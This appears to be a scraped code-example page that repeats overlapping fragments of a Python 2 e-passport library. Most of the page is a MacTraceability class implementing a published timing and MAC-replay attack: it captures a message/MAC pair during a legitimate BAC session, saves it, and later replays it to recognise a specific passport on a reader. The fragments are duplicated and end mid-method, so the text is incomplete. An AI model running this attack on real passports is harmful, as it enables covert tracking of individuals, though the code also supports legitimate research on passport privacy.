def setMRZ(self, mrz):
        """Set the MRZ

        @param MRZ: MRZ used for the legitimate BAC
        @type MRZ: A string of the MRZ
        """
        self._mrz = MRZ(mrz)
        if self._mrz.checkMRZ():
            try:
                self._bac.authenticationAndEstablishmentOfSessionKeys(
                    self._mrz)
                self._iso7816.rstConnection()
                return True
            except BACException, msg:
                raise MacTraceabilityException("Wrong MRZ")
Esempio n. 2
0
    def authenticationAndEstablishmentOfSessionKeys(self, mrz):
        """
        Execute the complete BAC process:
            - Derivation of the document basic acces keys
            - Mutual authentication
            - Derivation of the session keys
            
        @param mrz: The machine readable zone of the passport
        @type mrz: an MRZ object
        @return: A set composed of (KSenc, KSmac, ssc)   
        
        @raise MRZException: I{The mrz length is invalid}: The mrz parameter is not valid.
        @raise BACException: I{Wrong parameter, mrz must be an MRZ object}: The parameter is invalid.
        @raise BACException: I{The mrz has not been checked}: Call the I{checkMRZ} before this method call.
        @raise BACException: I{The sublayer iso7816 is not available}: Check the object init parameter, it takes an iso7816 object
        """

        if type(mrz) != type(MRZ(None)):
            raise BACException("Wrong parameter, mrz must be an MRZ object")

        if not mrz.checked:
            mrz.checkMRZ()

        if type(self._iso7816) != type(Iso7816(None)):
            raise BACException("The sublayer iso7816 is not available")

        try:
            self.derivationOfDocumentBasicAccesKeys(mrz)
            rnd_icc = self._iso7816.getChallenge()

            cmd_data = self.authentication(rnd_icc)
            data = self._mutualAuthentication(cmd_data)
            return self.sessionKeys(data)
        except Exception as msg:
            raise msg
Esempio n. 3
0
    def setMRZ(self, mrz):
        """Set the MRZ

        @param MRZ: MRZ used for the legitimate BAC
        @type MRZ: A string of the MRZ
        """
        self._mrz = MRZ(mrz)
        if self._mrz.checkMRZ():
            try:
                self._bac.authenticationAndEstablishmentOfSessionKeys(self._mrz)
                self._iso7816.rstConnection()
                return True
            except BACException, msg:
                raise MacTraceabilityException("Wrong MRZ")
class MacTraceability(Logger):
    """
    This class performs a MAC traceability attack discovered by Tom Chothia and Vitaliy Smirnov from the University of Birmingham.
    This attack can identify a passport based on a message/MAC APDU forged during a legitimate BAC.
    The two main methods are:
        - I{isVUlnerable}, it checks whether a passport is vulnerable to this attack or not.
        - I{exploit}, it exploits the vulnerability.
    """
    def __init__(self, iso7816, mrz=None):
        Logger.__init__(self, "MAC TRACEABILITY")
        self._iso7816 = iso7816
        self._mrz = mrz

        if type(self._iso7816) != type(Iso7816(None)):
            raise MacTraceabilityException(
                "The sublayer iso7816 is not available")

        self._iso7816.rstConnection()

        self._bac = BAC(iso7816)

    def isVulnerable(self, CO=1.7):
        """Check whether a passport is vulnerable:
            - Initiate a legitimate BAC and store a pair of message/MAC
            - Reset a BAC with a random number for mutual authentication and store the answer together with the response time
            - Reset a BAC and use the pair of message/MAC from step 1 and store the answer together with the response time

        If answers are different, this means the passport is vulnerable.
        If not, the response time is compared. If the gap is wide enough, the passport might be vulnerable.

        Note: The French passport (and maybe others) implemented a security against brute forcing:
        anytime the BAC fails, an incremented delay occurs before responding.
        That's the reson why we need to establish a proper BAC to reset the delay to 0
        Note 2: The default cut-off set to 1.7ms is based on the paper from Tom Chotia and Vitaliy Smirnov:
        A traceability Attack Against e-Passport.
        They figured out a 1.7 cut-off suits for every country they assessed without raising low rate of false-positive and false-negative

        @param CO: The cut-off used to determine whether the response time is long enough to considerate the passport as vulnerable
        @type CO: an integer that represents the cut-off in milliseconds

        @return: A boolean where True means that the passport seems to be vulnerable and False means it doesn't
        """
        cmd_data = self._getPair()
        self.rstBAC()
        (ans1, res_time1) = self._sendPair()
        self.rstBAC()
        (ans2, res_time2) = self._sendPair(cmd_data)

        vulnerable = False
        comment = "Cut-off: {} Wrong MAC: SW1:{} SW2:{} - Wrong cipher: SW1:{} SW2:{}".format(
            (res_time2 - res_time1) * 1000, ans1[1], ans1[2], ans2[1], ans2[2])

        if ans1[0] != ans2[0] or (res_time2 - res_time1) > (CO / 1000):
            self.log("Vulnerable")
            vulnerable = True

        self.log("Error message with wrong MAC: [{0}][{1}]".format(
            ans1[1], ans1[2]))
        self.log("Error message with correct MAC: [{0}][{1}]".format(
            ans2[1], ans2[2]))
        self.log("Response time with wrong MAC: {0} s".format(res_time1))
        self.log("Response time with correct MAC: {0} s".format(res_time2))

        return (vulnerable, comment)

    def demo(self, CO=1.7, validate=3):
        """Here is a little demo to show how accurate is the traceability attack.
        Please note that the French passport will most likely output a false positive because of the anti brute forcing delay.

        @param CO: The cut-off used to determine whether the response time is long enough to considerate the passport as vulnerable
        @type CO: an integer that represents the cut-off in milliseconds
        @param valisate: check 3 time before validate the passport as identified
        @type validate: An integer that represents the number of validation

        @return: A boolean True whenever the initial passport is on the reader
        """

        cmd_data = self._getPair()
        time.sleep(5)

        i = 0
        while i < validate:

            ans1 = ans2 = [""]
            res_time1 = res_time2 = 0

            try:
                self._iso7816.rstConnection()

                try:
                    (ans1, res_time1) = self._sendPair()
                except ReaderException:
                    pass

                try:
                    (ans2, res_time2) = self._sendPair(cmd_data)
                except ReaderException:
                    pass

            except Iso7816Exception:
                pass

            if ans1[0] != ans2[0]:
                i += 1
            elif (res_time2 - res_time1) > (CO / 1000):
                i += 1

        return True

    def savePair(self, path=".", filename="pair"):
        """savePair stores a message with its valid MAC in a file.
        The pair can be used later, in a futur attack, to define if the passport is the one that creates the pair (See checkFromFile()).
        If the path doesn't exist, the folders and sub-folders will be created..
        If the file exists, a number will be add automatically.

        @param path: The path where the file has to be created. It can be relative or absolute.
        @type path: A string (e.g. "/home/doe/" or "foo/bar")
        @param filename: The name of the file where the pair will be saved
        @type filename: A string (e.g. "belgian-pair" or "pair.data")

        @return: the path and the name of the file where the pair has been saved.
        """
        if not os.path.exists(path): os.makedirs(path)
        if os.path.exists(os.path.join(path, filename)):
            i = 0
            while os.path.exists(os.path.join(path, filename + str(i))):
                i += 1
            fullpath = os.path.join(path, filename + str(i))
        else:
            fullpath = os.path.join(path, filename)

        cmd_data = self._getPair()
        with open(fullpath, 'wb') as pair:
            pair.write(cmd_data)
        return fullpath

    def checkFromFile(self, path=os.path.join(".", "pair"), CO=1.7):
        """checkFromFile read a file that contains a pair and check if the pair has been capture from the passport .

        @param path: The path of the file where the pair has been saved.
        @type path: A string (e.g. "/home/doe/pair" or "foo/bar/pair.data")
        @param CO: The cut-off used to determine whether the response time is long enough to considerate the passport as vulnerable
        @type CO: an integer that represents the cut-off in milliseconds

        @return: A boolean where True means that the passport is the one who creates the pair in the file.
        """
        if not os.path.exists(path):
            raise MacTraceabilityException(
                "The pair file doesn't exist (path={0})".format(path))
        with open(path, 'rb') as pair:
            cmd_data = pair.read()

        belongs = False
        (ans1, res_time1) = self._sendPair()
        (ans2, res_time2) = self._sendPair(cmd_data)

        if ans1[0] != ans2[0]:
            belongs = True

        elif (res_time2 - res_time1) > (CO / 1000):
            belongs = True

        return belongs

    def test(self, j, per_delay=10):
        """test is a method developped for analysing the response time of password whenever a wrong command is sent
        French passport has an anti MRZ brute forcing. This method helps to highlight the behaviour

        @param until: Number of wrong messages to send before comparing the time delay
        @type until: An integer
        @param per_delay: How many results to average
        @type per_delay: An integer
        """

        cmd_data = self._getPair()

        i = per_delay
        total = 0
        while i > 0:
            self.rstBAC()
            k = 0
            while j > k:
                self._sendPair(cmd_data)
                k += 1
            (ans1, res_time1) = self._sendPair(cmd_data)
            (ans2, res_time2) = self._sendPair(cmd_data)
            total += math.fabs(res_time2 - res_time1)
            i -= 1
        return total / per_delay

    def setMRZ(self, mrz):
        """Set the MRZ

        @param MRZ: MRZ used for the legitimate BAC
        @type MRZ: A string of the MRZ
        """
        self._mrz = MRZ(mrz)
        if self._mrz.checkMRZ():
            try:
                self._bac.authenticationAndEstablishmentOfSessionKeys(
                    self._mrz)
                self._iso7816.rstConnection()
                return True
            except BACException, msg:
                raise MacTraceabilityException("Wrong MRZ")
        else:
Esempio n. 5
0
class MacTraceability(Logger):
    """
    This class performs a MAC traceability attack discovered by Tom Chothia and Vitaliy Smirnov from the University of Birmingham.
    This attack can identify a passport based on a message/MAC APDU forged during a legitimate BAC.
    The two main methods are:
        - I{isVUlnerable}, it checks whether a passport is vulnerable to this attack or not.
        - I{exploit}, it exploits the vulnerability.
    """

    def __init__(self, iso7816, mrz=None):
        Logger.__init__(self, "MAC TRACEABILITY")
        self._iso7816 = iso7816
        self._mrz = mrz

        if type(self._iso7816) != type(Iso7816(None)):
            raise MacTraceabilityException("The sublayer iso7816 is not available")

        self._iso7816.rstConnection()

        self._bac = BAC(iso7816)

    def isVulnerable(self, CO=1.7):
        """Check whether a passport is vulnerable:
            - Initiate a legitimate BAC and store a pair of message/MAC
            - Reset a BAC with a random number for mutual authentication and store the answer together with the response time
            - Reset a BAC and use the pair of message/MAC from step 1 and store the answer together with the response time

        If answers are different, this means the passport is vulnerable.
        If not, the response time is compared. If the gap is wide enough, the passport might be vulnerable.

        Note: The French passport (and maybe others) implemented a security against brute forcing:
        anytime the BAC fails, an incremented delay occurs before responding.
        That's the reson why we need to establish a proper BAC to reset the delay to 0
        Note 2: The default cut-off set to 1.7ms is based on the paper from Tom Chotia and Vitaliy Smirnov:
        A traceability Attack Against e-Passport.
        They figured out a 1.7 cut-off suits for every country they assessed without raising low rate of false-positive and false-negative

        @param CO: The cut-off used to determine whether the response time is long enough to considerate the passport as vulnerable
        @type CO: an integer that represents the cut-off in milliseconds

        @return: A boolean where True means that the passport seems to be vulnerable and False means it doesn't
        """
        cmd_data = self._getPair()
        self.rstBAC()
        (ans1, res_time1) = self._sendPair()
        self.rstBAC()
        (ans2, res_time2) = self._sendPair(cmd_data)

        vulnerable = False
        comment = "Cut-off: {} Wrong MAC: SW1:{} SW2:{} - Wrong cipher: SW1:{} SW2:{}".format(
            (res_time2 - res_time1) * 1000, ans1[1], ans1[2], ans2[1], ans2[2]
        )

        if ans1[0] != ans2[0] or (res_time2 - res_time1) > (CO / 1000):
            self.log("Vulnerable")
            vulnerable = True

        self.log("Error message with wrong MAC: [{0}][{1}]".format(ans1[1], ans1[2]))
        self.log("Error message with correct MAC: [{0}][{1}]".format(ans2[1], ans2[2]))
        self.log("Response time with wrong MAC: {0} s".format(res_time1))
        self.log("Response time with correct MAC: {0} s".format(res_time2))

        return (vulnerable, comment)

    def demo(self, CO=1.7, validate=3):
        """Here is a little demo to show how accurate is the traceability attack.
        Please note that the French passport will most likely output a false positive because of the anti brute forcing delay.

        @param CO: The cut-off used to determine whether the response time is long enough to considerate the passport as vulnerable
        @type CO: an integer that represents the cut-off in milliseconds
        @param valisate: check 3 time before validate the passport as identified
        @type validate: An integer that represents the number of validation

        @return: A boolean True whenever the initial passport is on the reader
        """

        cmd_data = self._getPair()
        time.sleep(5)

        i = 0
        while i < validate:

            ans1 = ans2 = [""]
            res_time1 = res_time2 = 0

            try:
                self._iso7816.rstConnection()

                try:
                    (ans1, res_time1) = self._sendPair()
                except ReaderException:
                    pass

                try:
                    (ans2, res_time2) = self._sendPair(cmd_data)
                except ReaderException:
                    pass

            except Iso7816Exception:
                pass

            if ans1[0] != ans2[0]:
                i += 1
            elif (res_time2 - res_time1) > (CO / 1000):
                i += 1

        return True

    def savePair(self, path=".", filename="pair"):
        """savePair stores a message with its valid MAC in a file.
        The pair can be used later, in a futur attack, to define if the passport is the one that creates the pair (See checkFromFile()).
        If the path doesn't exist, the folders and sub-folders will be created..
        If the file exists, a number will be add automatically.

        @param path: The path where the file has to be created. It can be relative or absolute.
        @type path: A string (e.g. "/home/doe/" or "foo/bar")
        @param filename: The name of the file where the pair will be saved
        @type filename: A string (e.g. "belgian-pair" or "pair.data")

        @return: the path and the name of the file where the pair has been saved.
        """
        if not os.path.exists(path):
            os.makedirs(path)
        if os.path.exists(os.path.join(path, filename)):
            i = 0
            while os.path.exists(os.path.join(path, filename + str(i))):
                i += 1
            fullpath = os.path.join(path, filename + str(i))
        else:
            fullpath = os.path.join(path, filename)

        cmd_data = self._getPair()
        with open(fullpath, "wb") as pair:
            pair.write(cmd_data)
        return fullpath

    def checkFromFile(self, path=os.path.join(".", "pair"), CO=1.7):
        """checkFromFile read a file that contains a pair and check if the pair has been capture from the passport .

        @param path: The path of the file where the pair has been saved.
        @type path: A string (e.g. "/home/doe/pair" or "foo/bar/pair.data")
        @param CO: The cut-off used to determine whether the response time is long enough to considerate the passport as vulnerable
        @type CO: an integer that represents the cut-off in milliseconds

        @return: A boolean where True means that the passport is the one who creates the pair in the file.
        """
        if not os.path.exists(path):
            raise MacTraceabilityException("The pair file doesn't exist (path={0})".format(path))
        with open(path, "rb") as pair:
            cmd_data = pair.read()

        belongs = False
        (ans1, res_time1) = self._sendPair()
        (ans2, res_time2) = self._sendPair(cmd_data)

        if ans1[0] != ans2[0]:
            belongs = True

        elif (res_time2 - res_time1) > (CO / 1000):
            belongs = True

        return belongs

    def test(self, j, per_delay=10):
        """test is a method developped for analysing the response time of password whenever a wrong command is sent
        French passport has an anti MRZ brute forcing. This method helps to highlight the behaviour

        @param until: Number of wrong messages to send before comparing the time delay
        @type until: An integer
        @param per_delay: How many results to average
        @type per_delay: An integer
        """

        cmd_data = self._getPair()

        i = per_delay
        total = 0
        while i > 0:
            self.rstBAC()
            k = 0
            while j > k:
                self._sendPair(cmd_data)
                k += 1
            (ans1, res_time1) = self._sendPair(cmd_data)
            (ans2, res_time2) = self._sendPair(cmd_data)
            total += math.fabs(res_time2 - res_time1)
            i -= 1
        return total / per_delay

    def setMRZ(self, mrz):
        """Set the MRZ

        @param MRZ: MRZ used for the legitimate BAC
        @type MRZ: A string of the MRZ
        """
        self._mrz = MRZ(mrz)
        if self._mrz.checkMRZ():
            try:
                self._bac.authenticationAndEstablishmentOfSessionKeys(self._mrz)
                self._iso7816.rstConnection()
                return True
            except BACException, msg:
                raise MacTraceabilityException("Wrong MRZ")
        else: